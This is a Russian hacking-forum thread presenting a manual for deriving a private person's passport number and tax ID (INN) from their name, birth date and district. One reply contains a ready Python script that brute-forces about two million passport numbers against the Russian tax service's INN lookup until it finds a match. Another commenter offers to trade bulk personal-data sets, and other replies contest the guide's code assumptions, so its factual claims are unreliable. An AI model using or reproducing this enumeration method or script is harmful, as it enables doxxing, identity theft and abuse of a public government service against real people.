• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Как на основе ФИО, даты рождения и района получить номер паспорта и ИНН.

obtim

CPU register
Пользователь
Регистрация
04.10.2018
Сообщения
1 365
Реакции
625
Все, что ниже описано - лишь абстрактные рассуждения, которые требуют доработки.
Чукча не писатель, Чукча — читатель, теоретик

Вводные:
Дано ФИО – Иванов Иван Иванович, год рождения 01.01.2000 и район проживания субъекта(Приозерский район, Ленинградской области)
Задача:
получить номер паспорта и ИНН
Описание шагов:
1. Для начала предлагаю попробовать проверить, что в Приозерском районе существует такой гражданин. Для этого зайдем на сайт https://fssp.gov.ru/iss/Ip и поищем по Ленинградской области Иванова Иван Ивановича 01.01.2000 года рождения. С большой долей вероятности мы не найдем полезной информации, но может и повезет найти исполнительные производства по нему
2. Как известно ИНН физического лица представляет собой последовательность из 12 арабских цифр. Первые две из них означают код субъекта Российской Федерации, третья и четвертая — номер налоговой инспекции, шесть цифр с пятой по десятую — номер налоговой записи налогоплательщика.
Предположим, что данный гражданин получал свой ИНН в Приозерском районе, Ленинградской области. Тогда его ИНН должен начинаться с 47. Коды ИФНС можно посмотреть тут: https://service.nalog.ru/addrno.do Получается, что возможные варианты, с которых начинается ИНН нашего персонажа – 4700, 4704, 4705, 4706, 4707, 4727.
3. Как известно Серия паспорта состоит из четырех цифр, где первые две — номер региона, выдавшего документ, а следующие — год, когда документ был получен. Зная это, можно угадать серию паспорта практически любого человека. Шесть чисел рядом с серией — номер паспорта. Цифры не имеют особенного смысла, это расшифровка номера бланка, на котором печатался паспорт. Он уникален, двух документов с полностью идентичным номером не может быть.
В нашем случае номер региона, где ВОЗМОЖНО был выдан паспорт – 47. Теперь надо понять, когда был выдан паспорт. Мы знаем дату рождения персонажа – 01.01.2000. Как известно, в РФ паспорта получают(меняют) в 14, 20 и 45 лет. В нашем случае персонаж должен был уже поменять паспорт в 20 лет. С учетом даты его рождения, вторая группа цифр в паспорте может быть 19 или 20. ВАЖНО: допустимо, что человек родился в январе и вторая группа цифр у него датируется прошлым годом.
Получается, что возможные варианты его паспорта – 4719 или 4720.
4. На Гитхабе есть проект по доступу к API налоговой(в сети есть проекты и с коммерческими API, с нужным функционалом) - https://gist.github.com/nalgeon/547e95d4f6b7a8b06bcdc9de3c87856a
В рамках этого проекта для получения ИНН налогоплательщика мы должны передать:
Фамилию – имеется в исходных данных;
Имя – имеется в исходных данных;
Отчество - имеется в исходных данных;
Дату рождения - имеется в исходных данных;
Номер паспорта – в нашем случае это 1000000 плюс 1000000 вариантов. Т.е. 2 млн вариантов.
ВАЖНО: прежде чем перебирать 2 млн. вариантов в рамках запроса ИНН, необходимо их отфильтровать через API проверки действительных паспортов(есть не коммерческие и коммерческие), например тут https://github.com/omggga/fms-passport-check?ysclid=l5hx8kqjxu165315845#default
5. В нашем случае значения ИНН(первые 4 цифры), полученные в пункте 2 будут являться контрольными значениями, для ИНН полученных через API запросы в налоговую.

ВАЖНО ПОМНИТЬ: В РАМКАХ ПОДОБНОГО ПОИСКА ВОЗМОЖНЫ СИТУАЦИИ, КОГДА В ОДНОМ РЕГИОНЕ БУДУТ ИДЕНТИЧНЫЕ ЛЮДИ – У КОТОРЫХ СОВПАДАЮТ ФИО И ДАТА РОЖДЕНИЯ. ПОЭТОМУ ВЫБОРКУ НЕОБХОДИМО ПРОИЗВОДИТЬ ДО КОНЦА.
 
Если кому пригодится (мало ли кто-то тут совсем не умеет), готовый пайтон код для полного перебора на основе того, что по ссылке от автора.

Каждые 500 проверок записывает текущий номер проверки в отдельный файл currentrow.txt в папке с файлом (на случай нестабильной работы машины\электричества, чтобы не начинать все сначала, а взять последний номер), при возврате сервисом проверки ошибки, пробует еще 10 раз с паузой в 5 секунд. В консоль пишет об ошибках, если все 10 неудачные, то пишет номера в файл errors.txt (чтобы можно было потом прогнать эти номера отдельно). В случае успеха останавливается с сообщением и пишет успешный номер в файл succes.txt
Python:
import requests
import time
from enum import Enum


class DocumentType(Enum):
    # Паспорт гражданина СССР
    passport_ussr = "01"
    # Свидетельство о рождении
    birth_certificate = "03"
    # Паспорт иностранного гражданина
    passport_foreign = "10"
    # Вид на жительство в России
    residence_permit = "12"
    # Разрешение на временное проживание в России
    residence_permit_temp = "15"
    # Свидетельство о предоставлении временного убежища на территории России
    asylum_certificate_temp = "19"
    # Паспорт гражданина России
    passport_russia = "21"
    # Свидетельство о рождении, выданное уполномоченным органом иностранного государства
    birth_certificate_foreign = "23"
    # Вид на жительство иностранного гражданина
    residence_permit_foreign = "62"


def suggest_inn(surname, name, patronymic, birthdate, doctype, docnumber, docdate):
    url = "https://service.nalog.ru/inn-proc.do"
    data = {
        "fam": surname,
        "nam": name,
        "otch": patronymic,
        "bdate": birthdate,
        "bplace": "",
        "doctype": doctype,
        "docno": docnumber,
        "docdt": docdate,
        "c": "innMy",
        "captcha": "",
        "captchaToken": "",
    }
    resp = requests.post(url=url, data=data)
    resp.raise_for_status()
    return resp.json()

i = 0 #начальный номер перебора
a = 0
while i < 1000000: #конечный номер перебора 1000000 соответствует конечному номеру паспорта 999 999
    if a == 500:
        file = open("currentrow.txt", "w")
        file.write(i_str[1:] + '\n')
        file.close()
        a = 0
    i_str=str(1000000 + i)
    ser = str(4010)
    try:
        if __name__ == "__main__":
            response = suggest_inn(
            surname="", #в кавычки впишите фамилию
            name="", #в кавычки впишите имя
            patronymic="", #в кавычки впишите отчество
            birthdate="", #в кавычки впишите дату рождения. формат 31.12.1234
            doctype=DocumentType.passport_russia.value,
            docnumber=ser[:2] + ' ' + ser[2:] + ' ' + i_str[1:],
            docdate="",
            )
        string = response
        if "inn" in string:
            print(response)
            file = open("succes.txt", "w")
            file.write("Bingo with number " + ser[:2] + ' ' + ser[2:] + ' ' + i_str[1:])
            file.close()
            input("Press Enter to continue...")
        else:
            print(ser[:2] + ' ' + ser[2:] + ' ' + i_str[1:])
            time.sleep(1)
            a = a + 1
            i = i + 1
    except:
        k = 0
        while k < 11:
            k = k + 1
            time.sleep(5)
            try:
                if __name__ == "__main__":
                    response = suggest_inn(
                    surname="", #в кавычки впишите фамилию
                    name="", #в кавычки впишите имя
                    patronymic="", #в кавычки впишите отчество
                    birthdate="", #в кавычки впишите дату рождения. формат 31.12.0000
                    doctype=DocumentType.passport_russia.value,
                    docnumber=ser[:2] + ' ' + ser[2:] + ' ' + i_str[1:],
                    docdate="",
                    )
                string = response
                if "inn" in string:
                    print(response)
                    file = open("succes.txt", "w")
                    file.write("Bingo with number " + ser[:2] + ' ' + ser[2:] + ' ' + i_str[1:])
                    file.close()
                    input("Press Enter to continue...")
                else:
                    print(ser[:2] + ' ' + ser[2:] + ' ' + i_str[1:])
                    k = 11
            except:
                if k == 10:
                    print("Fucking error with number " + i_str[1:])
                    file = open("errors.txt", "a")
                    file.write("Fucking error with number " + i_str[1:] + '\n')
                    file.close()
                else:
                    print("Fucking error with number " + i_str[1:])                   
        a = a + 1
        i = i + 1
 

Вложения

  • test.zip
    1.4 КБ · Просмотры: 24
В серии паспорта указывается не код региона транспортных средств, а код ОКАТО, и в ЛО он будет 41, а не 47.
Вторая пара цифр означает год выпуска бланка паспорта и допускается отклонение на 1-3 года, а не год выдачи паспорта. У меня например год выдачи и цифры в серии отличаются на год
 
Если кому пригодится (мало ли кто-то тут совсем не умеет), готовый пайтон код для полного перебора на основе того, что по ссылке от автора.
Пропустил коммент в коде в строке
ser = str(4010) вместо 4010 вписывайте нужную серию паспорта
 
Абсолютно тупиковая идея профана, который попросту не владеет знаниями о том, из каких переменных он пытается декларировать решение этой задачи. Если бы он знал, то просто не стал бы пудрить мозг другим этой нелепицей.
Для начала предлагаю попробовать проверить, что в Приозерском районе существует такой гражданин. Для этого зайдем на сайт https://fssp.gov.ru/iss/Ip и поищем по Ленинградской области
На сайте fssp нет архива ИП, Физических ли там гораздо меньше, чем записей исполнительных производств. Статистику ИП вы можете сами поднять, высчитать процент вероятности наличия записи по взрослым гражданам в этой базе, ежегодно она приводится в открытых данных ССП.
Совершенно непонятно при чем здесь район? Человек мог на месяц стать на учет по месту пребывания, или записи в фед.базе не обновились (в ССП часто не сразу синхронизируются рег. и фед. срез адресных данных) и всё. Особенно это автомобильных штрафов касается.
Это то куда производство направили в каком оно органе ССП, который кстати не всегда районный, иногда городской, а иногда и вовсе региональный. То есть ВООБЩЕ не факт что это причастность к району регистрационного учета по месту проживания. Ну ОК, предположим дата рождения есть и это мелочи.
Предположим, что данный гражданин получал свой ИНН в Приозерском районе, Ленинградской области. Тогда его ИНН должен начинаться с 47. Коды ИФНС можно посмотреть тут: https://service.nalog.ru/addrno.do Получается, что возможные варианты, с которых начинается ИНН нашего персонажа – 4700, 4704, 4705, 4706, 4707, 4727.
А с чего вы взяли что это все коды ИФНС? При чем здесь районы? Есть закрытые, реорганизованные инспекции, есть территориально-обособленные (ТОРМ), которых в этом справочнике нет, по району я точно вам не скажу, нужно считать но по области кодов ИФНС во много раз больше. Да и к району они не всегда привязаны, смотря о каком времени мы говорим.
Собственно, по диапазону перехода в вашем же списке от 4707 до сразу 4727 вы можете примерно догадаться что дело там очень темное, а ИНН может быть и всего диапазона, но не в десятки раз меньше указаных на сайте ИФНС действующих и центральных. Их десятки тысяч, на сайте едва ли несколько тысяч указано.
Сама выборка по вводным, на основании региона присвоения ИНН = региону выдачи паспорта. По региону совпадения таких совпадений едва ли будет у большинства, по району ИНН и паспорту вообще у менее 25%. Может и у 15%, я не хочу заморачиватся и высчитывать насколько это абсурдный замысел сугубо математически.
Уже много лет ИНН присваивается либо в раннем детстве, либо вообще при рождении. Люди мигрируют, паспорта теряют (статистику утрат документов можете сами найти), о женщинах, которые чаще меняют фамилии и соответственно паспорта я молчу.
Искать паспорт, который выдан "ВОЗМОЖНО" в годы паспортизации гражданина по серии, которая не более, чем у 70% документов совпадает с годом выдачи на основе региона, не всегда с учетом +- 1 год (точно не скажу, но в долях сильно не преувеличиваю). Ряд серий паспортов к региону не привязаны совсем, или в разные годы выдавались в разных регионах ,а это несколько миллионов человек.
Проще найти девственницу на сайте знакомств, чем таким макаром (потому что ни способом, ни методом это я не посмею назвать) точное вхождение.
прежде чем перебирать 2 млн. вариантов
Если кто-то имеет собранные 2 млн. вариантов такого перебора, могу их дополнить другими данными по лицам. Если некто это собирал и речь идет о сотнях тысячах и миллионах записей, пишите, обсудим чем мы можем быть друг-другу полезны.
Крайне не рекомендую предлагать выборки из паблик баз, где есть такие данные с ИНН, это (сам источник) очень быстро определится уже при проверке данных без их передачи.
 
Абсолютно тупиковая идея профана, который попросту не владеет знаниями о том, из каких переменных он пытается декларировать решение этой задачи. Если бы он знал, то просто не стал бы пудрить мозг другим этой нелепицей.

На сайте fssp нет архива ИП, Физических ли там гораздо меньше, чем записей исполнительных производств. Статистику ИП вы можете сами поднять, высчитать процент вероятности наличия записи по взрослым гражданам в этой базе, ежегодно она приводится в открытых данных ССП.
Совершенно непонятно при чем здесь район? Человек мог на месяц стать на учет по месту пребывания, или записи в фед.базе не обновились (в ССП часто не сразу синхронизируются рег. и фед. срез адресных данных) и всё. Особенно это автомобильных штрафов касается.
Это то куда производство направили в каком оно органе ССП, который кстати не всегда районный, иногда городской, а иногда и вовсе региональный. То есть ВООБЩЕ не факт что это причастность к району регистрационного учета по месту проживания. Ну ОК, предположим дата рождения есть и это мелочи.

А с чего вы взяли что это все коды ИФНС? При чем здесь районы? Есть закрытые, реорганизованные инспекции, есть территориально-обособленные (ТОРМ), которых в этом справочнике нет, по району я точно вам не скажу, нужно считать но по области кодов ИФНС во много раз больше. Да и к району они не всегда привязаны, смотря о каком времени мы говорим.
Собственно, по диапазону перехода в вашем же списке от 4707 до сразу 4727 вы можете примерно догадаться что дело там очень темное, а ИНН может быть и всего диапазона, но не в десятки раз меньше указаных на сайте ИФНС действующих и центральных. Их десятки тысяч, на сайте едва ли несколько тысяч указано.
Сама выборка по вводным, на основании региона присвоения ИНН = региону выдачи паспорта. По региону совпадения таких совпадений едва ли будет у большинства, по району ИНН и паспорту вообще у менее 25%. Может и у 15%, я не хочу заморачиватся и высчитывать насколько это абсурдный замысел сугубо математически.
Уже много лет ИНН присваивается либо в раннем детстве, либо вообще при рождении. Люди мигрируют, паспорта теряют (статистику утрат документов можете сами найти), о женщинах, которые чаще меняют фамилии и соответственно паспорта я молчу.
Искать паспорт, который выдан "ВОЗМОЖНО" в годы паспортизации гражданина по серии, которая не более, чем у 70% документов совпадает с годом выдачи на основе региона, не всегда с учетом +- 1 год (точно не скажу, но в долях сильно не преувеличиваю). Ряд серий паспортов к региону не привязаны совсем, или в разные годы выдавались в разных регионах ,а это несколько миллионов человек.
Проще найти девственницу на сайте знакомств, чем таким макаром (потому что ни способом, ни методом это я не посмею назвать) точное вхождение.

Если кто-то имеет собранные 2 млн. вариантов такого перебора, могу их дополнить другими данными по лицам. Если некто это собирал и речь идет о сотнях тысячах и миллионах записей, пишите, обсудим чем мы можем быть друг-другу полезны.
Крайне не рекомендую предлагать выборки из паблик баз, где есть такие данные с ИНН, это (сам источник) очень быстро определится уже при проверке данных без их передачи.
Я прекрасно понимаю, что у Вас большая подборка баз и вы конечно же владеете нескончаемой информацией. Но давайте задумаемся: а действительно ли они настолько полны? Можно в них найти информацию по человеку из Окинского района Бурятии(просто для примера)? Сильно сомневаюсь, что какие-либо базы когда-нибудь попадали в открытый доступ, т.к. про это попу мира мало кто даже слышал. Люди из нее в лучшем случае выберутся в Улан-Удэ, да и для них это будет подвигом. И таких мест на карте РФ - море. Люди в них появляются и полностью проходят свой жизненный цикл, никуда не выезжая. Структуры в этих местах редко меняются: максимум - укрупняются. При этом информация по таким персонажам ИНОГДА нужна и не прибегая к "платным" запросам(Роспаспорт и т.п.) вы ее не найдете. К тому же это абстрактные рассуждения, которые требуют доработки.
 
Я прекрасно понимаю, что у Вас большая подборка баз и вы конечно же владеете нескончаемой информацией.
При чем здесь какие-то базы и возможности?
Нужно понимать примерную вероятность решения задачи, ее переменные, иначе это будет надеждой с иллюзией и пустой тратой времени, за которым последует разочарование.
Люди которые возможно не знают реалий прочтут это и потратят время впустую. Шансов мало, их можно высчитать достаточно точно. Не вижу смысла на это тратить свое время просто.
Вот собственно и всё. Я был бы рад если бы это кому-то помогло, просто шансов крайне мало, о чем я посчитал нужным написать.
Но давайте задумаемся: а действительно ли они настолько полны? Можно в них найти информацию по человеку из Окинского района Бурятии(просто для примера)? Сильно сомневаюсь, что какие-либо базы когда-нибудь попадали в открытый доступ, т.к. про это попу мира мало кто даже слышал. Люди из нее в лучшем случае выберутся в Улан-Удэ, да и для них это будет подвигом. И таких мест на карте РФ - море. Люди в них появляются и полностью проходят свой жизненный цикл, никуда не выезжая. Структуры в этих местах редко меняются: максимум - укрупняются. При этом информация по таким персонажам ИНОГДА нужна и не прибегая к "платным" запросам(Роспаспорт и т.п.) вы ее не найдете. К тому же это абстрактные рассуждения, которые требуют доработки.
Еще раз - какие то базы, какие то возможности здесь не при чем. Для того что бы у вас было нечто, возможности некие, нужно сделать не меньше для других. То что дается без денег, но ценно, в разы сложнее бизнеса, какого-то заработка. Поэтому если с вас берут за некие услуги деньги, то значит что вы не можете предложить интересующего бартера-взаимопомощи человеку. Либо вместо того что бы раз или два просить о чем-то в месяц начинаете пытаться его эксплуатировать. По этой причине вы возвращаетесь к тому с чего начинаете. К основам. Подумайте, ошибаюсь ли я. Я буду рад ошибаться.
Здесь я исхожу из своего опыта. Почему у кого-то что-то получается, а у кого-то почему-то не очень.
Мир гораздо шире если вы знаете одно, и это вот так работает, из этого не следует что по другому работать не может. У вас стереотипный подход к получению информации. Измените точку зрения, или мотивацию и все остальное так же может изменится. Если конечно же вас не устраивает то что есть. Если устраивает то всё ОК.
Можно в них найти информацию по человеку из Окинского района Бурятии(просто для примера)? Сильно сомневаюсь, что какие-либо базы когда-нибудь попадали в открытый доступ, т.к. про это попу мира мало кто даже слышал.
Можно. У разных людей разные способности. Разные цели, разная мотивация движения к этим целям. Я не вижу смысла говорить о каких-то ключиках к дацанам или лесным хозяйствам Бурятии, кто там что может. Вы определите что вам нужно, что нужно людям вокруг, с кем и в чем сможете сотрудничать и сотрудничайте. И всё у вас будет находится и по островам Курильской гряды и по лесоповалам Бурятии.
И снова вы про какие-то там базы. Базы это не скрижали Завета, не священная книга судеб. )) Не переоценивайте. Если в голове каша, или недостаток знаний к прочтению и усвоению информации, то и от богатой библиотеки толку не будет никакого. )))
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх